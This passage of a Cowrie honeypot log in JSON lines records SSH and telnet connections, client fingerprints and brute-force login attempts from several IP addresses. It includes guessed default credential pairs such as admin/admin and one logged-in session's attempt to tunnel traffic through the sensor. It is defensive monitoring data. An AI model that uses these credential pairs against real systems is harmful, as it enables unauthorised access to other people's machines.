openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:16:19.111022Z","src_ip":"159.203.92.129","session":"fa3d1e737e15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.116.23.158","src_port":54760,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf1c0794fba4","protocol":"ssh","message":"New connection: 79.116.23.158:54760 (10.17.0.5:22) [session: bf1c0794fba4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:16:19.120786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:16:19.125390Z","src_ip":"79.116.23.158","session":"bf1c0794fba4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"DataSet","password":"DataSet123","message":"login attempt [DataSet/DataSet123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:16:19.131010Z","src_ip":"159.203.92.129","session":"fa3d1e737e15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:16:19.228867Z","src_ip":"79.116.23.158","session":"bf1c0794fba4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"password1","message":"login attempt [test/password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:16:19.680031Z","src_ip":"79.116.23.158","session":"bf1c0794fba4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:16:20.141856Z","src_ip":"159.203.92.129","session":"fa3d1e737e15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:16:20.786482Z","src_ip":"79.116.23.158","session":"bf1c0794fba4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":56062,"dst_ip":"10.17.0.5","dst_port":22,"session":"45d269a5e046","protocol":"ssh","message":"New connection: 87.251.64.176:56062 (10.17.0.5:22) [session: 45d269a5e046]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:16:49.208412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:16:49.264519Z","src_ip":"87.251.64.176","session":"45d269a5e046","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:16:49.360874Z","src_ip":"87.251.64.176","session":"45d269a5e046","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:16:49.649293Z","src_ip":"87.251.64.176","session":"45d269a5e046","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:16:49.748804Z","session":"45d269a5e046","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:16:49.846673Z","src_ip":"87.251.64.176","session":"45d269a5e046","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:16:50.081701Z","src_ip":"87.251.64.176","session":"45d269a5e046","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.241.68","src_port":58948,"dst_ip":"10.17.0.5","dst_port":22,"session":"594bc758dbf8","protocol":"ssh","message":"New connection: 209.38.241.68:58948 (10.17.0.5:22) [session: 594bc758dbf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:16:57.589827Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59068,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e9b6b9d8b7a","protocol":"ssh","message":"New connection: 159.203.92.129:59068 (159.203.135.109:22) [session: 4e9b6b9d8b7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:17:00.470223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:17:00.476374Z","src_ip":"159.203.92.129","session":"4e9b6b9d8b7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:17:00.484286Z","src_ip":"159.203.92.129","session":"4e9b6b9d8b7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Dawn","password":"123","message":"login attempt [Dawn/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:17:00.507346Z","src_ip":"159.203.92.129","session":"4e9b6b9d8b7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:17:01.529244Z","src_ip":"159.203.92.129","session":"4e9b6b9d8b7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:17:02.410847Z","src_ip":"209.38.241.68","session":"594bc758dbf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":60008,"dst_ip":"159.203.135.109","dst_port":22,"session":"598995a9bd65","protocol":"ssh","message":"New connection: 80.94.92.186:60008 (159.203.135.109:22) [session: 598995a9bd65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:17:04.331930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:17:04.525864Z","src_ip":"80.94.92.186","session":"598995a9bd65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:17:04.529844Z","src_ip":"80.94.92.186","session":"598995a9bd65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mapr","password":"mapr","message":"login attempt [mapr/mapr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:17:05.155561Z","src_ip":"80.94.92.186","session":"598995a9bd65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.241.68","src_port":58960,"dst_ip":"10.17.0.5","dst_port":22,"session":"898733b7c855","protocol":"ssh","message":"New connection: 209.38.241.68:58960 (10.17.0.5:22) [session: 898733b7c855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:17:05.731325Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:17:06.506011Z","src_ip":"80.94.92.186","session":"598995a9bd65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.116.23.158","src_port":44060,"dst_ip":"10.17.0.5","dst_port":22,"session":"b953d9cf129c","protocol":"ssh","message":"New connection: 79.116.23.158:44060 (10.17.0.5:22) [session: b953d9cf129c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:17:14.536107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:17:14.540512Z","src_ip":"79.116.23.158","session":"b953d9cf129c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:17:14.647485Z","src_ip":"79.116.23.158","session":"b953d9cf129c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"vfrcbv","message":"login attempt [admin/vfrcbv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:17:15.108540Z","src_ip":"79.116.23.158","session":"b953d9cf129c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:17:15.122979Z","src_ip":"209.38.241.68","session":"898733b7c855","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:17:16.220127Z","src_ip":"79.116.23.158","session":"b953d9cf129c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"86.194.247.190","src_port":39258,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ec9733a70eb","protocol":"telnet","message":"New connection: 86.194.247.190:39258 (159.203.135.109:23) [session: 4ec9733a70eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:17:39.878265Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35006,"dst_ip":"159.203.135.109","dst_port":22,"session":"1419a45807b1","protocol":"ssh","message":"New connection: 159.203.92.129:35006 (159.203.135.109:22) [session: 1419a45807b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:17:42.090740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:17:42.095779Z","src_ip":"159.203.92.129","session":"1419a45807b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:17:42.100801Z","src_ip":"159.203.92.129","session":"1419a45807b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Dawn","password":"123456","message":"login attempt [Dawn/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:17:42.164243Z","src_ip":"159.203.92.129","session":"1419a45807b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:17:43.173389Z","src_ip":"159.203.92.129","session":"1419a45807b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.482715606689453,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:17:43.360854Z","src_ip":"86.194.247.190","session":"4ec9733a70eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"86.194.247.190","src_port":39908,"dst_ip":"159.203.135.109","dst_port":23,"session":"723075de3ef5","protocol":"telnet","message":"New connection: 86.194.247.190:39908 (159.203.135.109:23) [session: 723075de3ef5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:17:44.805964Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.194.247.190","src_port":42440,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb943c54d7bd","protocol":"telnet","message":"New connection: 86.194.247.190:42440 (159.203.135.109:23) [session: cb943c54d7bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:17:59.847729Z"}
{"eventid":"cowrie.session.closed","duration":2.5309085845947266,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:18:02.378521Z","src_ip":"86.194.247.190","session":"cb943c54d7bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.116.23.158","src_port":33508,"dst_ip":"10.17.0.5","dst_port":22,"session":"49476e5742a5","protocol":"ssh","message":"New connection: 79.116.23.158:33508 (10.17.0.5:22) [session: 49476e5742a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:18:08.154707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:18:08.160605Z","src_ip":"79.116.23.158","session":"49476e5742a5","protocol":"ssh"}
